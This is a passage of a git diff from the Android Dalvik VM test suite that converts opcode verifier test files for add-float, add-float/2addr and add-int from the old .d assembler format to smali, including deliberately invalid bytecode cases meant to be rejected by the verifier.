+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_float_4.java"
+.class  public Ldot/junit/opcodes/add_float/d/T_add_float_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 4
+
+       add-float v0, v2, v1
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_float/d/T_add_float_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float/d/T_add_float_5.d
deleted file mode 100644
index efcd143..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_float/d/T_add_float_5.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_float_5.java
-.class public dot.junit.opcodes.add_float.d.T_add_float_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(IF)F
-.limit regs 4
-       add-float v0, v2, v3
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_float/d/T_add_float_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float/d/T_add_float_5.smali
new file mode 100644
index 0000000..7959c83
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float/d/T_add_float_5.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_float_5.java"
+.class  public Ldot/junit/opcodes/add_float/d/T_add_float_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IF)F
+.registers 4
+       add-float v0, v2, v3
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_float/d/T_add_float_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float/d/T_add_float_6.d
deleted file mode 100644
index 061a4da..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_float/d/T_add_float_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_float_6.java
-.class public dot.junit.opcodes.add_float.d.T_add_float_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)F
-.limit regs 4
-
-       add-float v0, v2, v4
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_float/d/T_add_float_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float/d/T_add_float_6.smali
new file mode 100644
index 0000000..19ecf3e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float/d/T_add_float_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_float_6.java"
+.class  public Ldot/junit/opcodes/add_float/d/T_add_float_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 4
+
+       add-float v0, v2, v4
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_1.d
deleted file mode 100644
index 38344b4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_float_2addr_1.java
-.class public dot.junit.opcodes.add_float_2addr.d.T_add_float_2addr_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)F
-.limit regs 4
-
-       add-float/2addr v2, v3
-       return v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_1.smali
new file mode 100644
index 0000000..c2647ae
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_float_2addr_1.java"
+.class  public Ldot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 4
+
+       add-float/2addr v2, v3
+       return v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_2.d
deleted file mode 100644
index dd35d2d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_2.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_float_2addr_2.java
-.class public dot.junit.opcodes.add_float_2addr.d.T_add_float_2addr_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)F
-.limit regs 4
-
-       const-wide v0, 3.1415    
-       add-float/2addr v3, v0
-       return v3
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_2.smali
new file mode 100644
index 0000000..66c4d65
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_2.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_float_2addr_2.java"
+.class  public Ldot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 4
+
+       const-wide v0, 3.1415    
+       add-float/2addr v3, v0
+       return v3
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_3.d
deleted file mode 100644
index 6c0eb9a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_float_2addr_3.java
-.class public dot.junit.opcodes.add_float_2addr.d.T_add_float_2addr_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)F
-.limit regs 4
-
-       const-wide v0, 3141523
-       add-float/2addr v0, v3
-       return v3
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_3.smali
new file mode 100644
index 0000000..2dbf80b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_float_2addr_3.java"
+.class  public Ldot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 4
+
+       const-wide v0, 3141523
+       add-float/2addr v0, v3
+       return v3
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_4.d
deleted file mode 100644
index c9832e7..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_float_2addr_4.java
-.class public dot.junit.opcodes.add_float_2addr.d.T_add_float_2addr_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)F
-.limit regs 4
-
-       add-float/2addr v2, v1
-       return v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_4.smali
new file mode 100644
index 0000000..e21a5e2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_float_2addr_4.java"
+.class  public Ldot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 4
+
+       add-float/2addr v2, v1
+       return v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_5.d
deleted file mode 100644
index 281b673..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_5.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_float_2addr_5.java
-.class public dot.junit.opcodes.add_float_2addr.d.T_add_float_2addr_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(IF)F
-.limit regs 4
-       add-float/2addr v2, v3
-       return v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_5.smali
new file mode 100644
index 0000000..f0e04d5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_5.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_float_2addr_5.java"
+.class  public Ldot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IF)F
+.registers 4
+       add-float/2addr v2, v3
+       return v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_6.d
deleted file mode 100644
index 2aa078c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_float_2addr_6.java
-.class public dot.junit.opcodes.add_float_2addr.d.T_add_float_2addr_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)F
-.limit regs 4
-
-       add-float/2addr v2, v4
-       return v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_6.smali
new file mode 100644
index 0000000..36d6ea8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_float_2addr_6.java"
+.class  public Ldot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 4
+
+       add-float/2addr v2, v4
+       return v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int/d/T_add_int_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int/d/T_add_int_1.d
deleted file mode 100644
index bd71e35..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int/d/T_add_int_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_1.java
-.class public dot.junit.opcodes.add_int.d.T_add_int_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       add-int v0, v2, v3
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int/d/T_add_int_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int/d/T_add_int_1.smali
new file mode 100644
index 0000000..54cd6b0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int/d/T_add_int_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_1.java"
+.class  public Ldot/junit/opcodes/add_int/d/T_add_int_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       add-int v0, v2, v3
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int/d/T_add_int_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int/d/T_add_int_2.d
deleted file mode 100644
index 83cb90c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int/d/T_add_int_2.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_2.java
-.class public dot.junit.opcodes.add_int.d.T_add_int_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       const-wide v0, 3.1415
-       add-int v0, v2, v0
-       return v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int/d/T_add_int_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int/d/T_add_int_2.smali
new file mode 100644
index 0000000..8102974
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int/d/T_add_int_2.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_2.java"
+.class  public Ldot/junit/opcodes/add_int/d/T_add_int_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       const-wide v0, 3.1415
+       add-int v0, v2, v0
+       return v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int/d/T_add_int_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int/d/T_add_int_3.d
deleted file mode 100644
index 84db6e9..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int/d/T_add_int_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_3.java
-.class public dot.junit.opcodes.add_int.d.T_add_int_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       const-wide v0, 33231415
-       add-int v0, v0, v3
-       return v3
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int/d/T_add_int_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int/d/T_add_int_3.smali
new file mode 100644
index 0000000..d8001ed
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int/d/T_add_int_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_3.java"
+.class  public Ldot/junit/opcodes/add_int/d/T_add_int_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       const-wide v0, 33231415
+       add-int v0, v0, v3
+       return v3
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int/d/T_add_int_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int/d/T_add_int_4.d
deleted file mode 100644
index 0ce8bbc..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int/d/T_add_int_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_4.java
-.class public dot.junit.opcodes.add_int.d.T_add_int_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       add-int v0, v1, v3
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int/d/T_add_int_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int/d/T_add_int_4.smali
new file mode 100644
index 0000000..d35bb7e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int/d/T_add_int_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_4.java"
+.class  public Ldot/junit/opcodes/add_int/d/T_add_int_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
